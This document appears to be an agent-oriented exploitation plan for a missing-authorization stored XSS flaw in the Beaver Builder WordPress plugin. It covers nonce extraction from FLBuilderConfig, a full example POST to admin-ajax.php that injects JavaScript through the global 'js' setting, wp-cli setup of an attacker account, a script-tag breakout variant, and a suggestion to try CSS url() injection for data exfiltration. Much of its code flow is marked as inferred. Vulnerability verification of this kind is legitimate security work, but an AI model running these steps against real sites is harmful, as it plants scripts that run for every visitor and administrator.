Beaver Builder Page Builder – Drag and Drop Website Builder <= 2.10.0.5 - Authenticated (Custom+) Missing Authorization to Stored Cross-Site Scripting via Global Settings

This research plan outlines the steps to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in Beaver Builder Page Builder (<= 2.10.0.5) through the js parameter in Global Settings.

1. Vulnerability Summary

The Beaver Builder plugin fails to perform adequate authorization checks within its save_global_settings() AJAX handler. While the function likely verifies a nonce, it does not confirm if the authenticated user possesses the high-level permissions (typically manage_options) required to modify site-wide global settings. Additionally, the js setting, intended for custom site-wide JavaScript, is stored and later rendered on the frontend without sufficient sanitization or security headers (like a strict Content Security Policy), allowing users with restricted "Custom" builder access to inject arbitrary scripts that execute for all site visitors, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: fl_builder_save_global_settings (inferred from plugin naming conventions).
• Vulnerable Parameter: settings[js] or js (inferred; the description specifies the js global setting).
• Authentication: Authenticated user with "Custom" level access. In Beaver Builder, this refers to a user role (like Author or Contributor) that has been granted "Builder Access" in the Beaver Builder settings menu (wp-admin/options-general.php?page=fl-builder-settings#user-access).
• Precondition: The attacker must have a role that has been granted access to the Beaver Builder editor.

3. Code Flow (Inferred)

1. Entry Point: An AJAX request is sent to admin-ajax.php with the action fl_builder_save_global_settings.
2. Handler Registration: The plugin registers the handler, likely in classes/class-fl-builder-ajax.php using:
   add_action( 'wp_ajax_fl_builder_save_global_settings', 'FLBuilderAJAX::save_global_settings' );
3. Vulnerable Function: FLBuilderAJAX::save_global_settings() is executed.
   • It retrieves the settings array from $_POST.
   • It likely calls check_ajax_referer with a nonce (e.g., fl_builder_nonce).
   • Crucially, it misses a check like current_user_can( 'manage_options' ).
4. Storage: The values are saved into a WordPress option, typically _fl_builder_global_settings (serialized array).
5. Sink: When any page (frontend) is loaded, Beaver Builder's frontend rendering engine (likely FLBuilder::layout_js()) retrieves the global js setting and echoes it directly into the HTML within a <script> tag.

4. Nonce Acquisition Strategy

Beaver Builder stores its configuration and security nonces in a global JavaScript object called FLBuilderConfig.

1. Identify Trigger: The builder must be active on a post/page to load the FLBuilderConfig object.
2. Setup Page: Create a standard WordPress page.
3. Access Editor: Navigate to the page with the query parameter ?fl_builder.
4. Extract Nonce:
   • Use browser_navigate to go to [TARGET_URL]/index.php/test-page/?fl_builder.
   • Use browser_eval to extract the nonce:
     browser_eval("window.FLBuilderConfig?.nonce")
   • Note: The key might also be fl_builder_nonce or nested within an object. If FLBuilderConfig.nonce fails, inspect FLBuilderConfig entirely.

5. Exploitation Strategy

1. Pre-requisite: Log in as a user with "Author" role (or any role granted "Custom" access in Beaver Builder settings).
2. Acquire Nonce: Follow the strategy in Section 4.
3. Construct Payload:
   • Action: fl_builder_save_global_settings
   • Settings: settings[js]=alert(document.domain); (Beaver Builder wraps this in a <script> tag automatically, so do not include the tags unless testing for breakout).
   • Nonce: The value retrieved from FLBuilderConfig.nonce.
4. Send Request: Use http_request to send the POST request.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

action=fl_builder_save_global_settings&_wpnonce=[NONCE]&settings[js]=alert("XSS_GLOBAL_SUCCESS")

6. Test Data Setup

1. Install Beaver Builder: Ensure the plugin (beaver-builder-lite-version) is active.
2. Configure Access:
   • As Admin: wp-cli command to grant Author role access to BB:
     wp option patch insert _fl_builder_user_access author_capabilities "fl_builder_edit_all_layouts" (or via the UI in Settings -> Beaver Builder -> User Access).
3. Create Attacker User:
   • wp user create attacker attacker@example.com --role=author --user_pass=password123
4. Create Target Page:
   • wp post create --post_type=page --post_title="XSS Test Page" --post_status=publish --post_content="Testing Beaver Builder"

7. Expected Results

• The AJAX request should return a success response (likely a JSON object with success: true).
• The _fl_builder_global_settings option in the database will now contain the XSS payload.
• Upon visiting any page on the site, a script containing alert("XSS_GLOBAL_SUCCESS") will be executed.

8. Verification Steps

1. Check Database:
   • wp option get _fl_builder_global_settings
   • Verify the js key contains the payload.
2. Verify Frontend Execution:
   • Use http_request to GET the homepage.
   • Search for the string XSS_GLOBAL_SUCCESS in the response body.
   • Confirm it is inside a <script> tag.

9. Alternative Approaches

• Payload Variation: If the js field is filtered, try breaking out of the intended script context using </script><script>alert(1)</script>.
• Parameter Nesting: If settings[js] doesn't work, the plugin might expect the global settings to be submitted as a serialized string or a different top-level parameter like fl_js.
• Other Settings: The Global Settings also include css. While CSS XSS is harder in modern browsers, it's worth checking if settings[css] is also unvalidated, which could allow for data exfiltration via url() injections.